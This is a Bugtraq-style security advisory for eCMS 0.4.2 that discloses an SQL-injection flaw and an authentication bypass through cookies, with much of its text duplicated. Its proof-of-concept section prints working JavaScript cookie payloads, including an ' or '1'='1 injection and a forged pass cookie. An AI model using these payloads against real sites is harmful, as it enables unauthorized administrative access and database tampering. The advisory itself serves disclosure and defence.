eCMS Cookie Multiple Security Vulnerabilities
BID:29268
Info
eCMS Cookie Multiple Security Vulnerabilities
| Bugtraq ID: | 29268 |
| Class: | Unknown |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | May 18 2008 12:00AM |
| Updated: | May 20 2008 05:34PM |
| Credit: | t0pP8uZz |
| Vulnerable: |
eCMS eCMS 0.4.2 |
| Not Vulnerable: | |
Discussion
eCMS Cookie Multiple Security Vulnerabilities
eCMS is prone to multiple security vulnerabilities, including a security-bypass issue and an SQL-injection issue.
Exploiting these issues may allow an attacker to bypass certain security restrictions and gain administrative access to the application. The attacker can also exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This will compromise the application and may aid in further attacks.
These issues affect eCMS 0.4.2 and prior versions.
eCMS is prone to multiple security vulnerabilities, including a security-bypass issue and an SQL-injection issue.
Exploiting these issues may allow an attacker to bypass certain security restrictions and gain administrative access to the application. The attacker can also exploit the SQL-injection issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database. This will compromise the application and may aid in further attacks.
These issues affect eCMS 0.4.2 and prior versions.
Exploit / POC
eCMS Cookie Multiple Security Vulnerabilities
The following proof-of-concept JavaScript code to create cookies is available:
for the SQL-injection issue:
javascript:document.cookie = "user=' or '1'='1; path=/";
javascript:document.cookie = "pass=admin; path=/";
for the security-bypass issue:
javascript:document.cookie = "pass=1; path=/";
The following proof-of-concept JavaScript code to create cookies is available:
for the SQL-injection issue:
javascript:document.cookie = "user=' or '1'='1; path=/";
javascript:document.cookie = "pass=admin; path=/";
for the security-bypass issue:
javascript:document.cookie = "pass=1; path=/";
Solution / Fix
eCMS Cookie Multiple Security Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].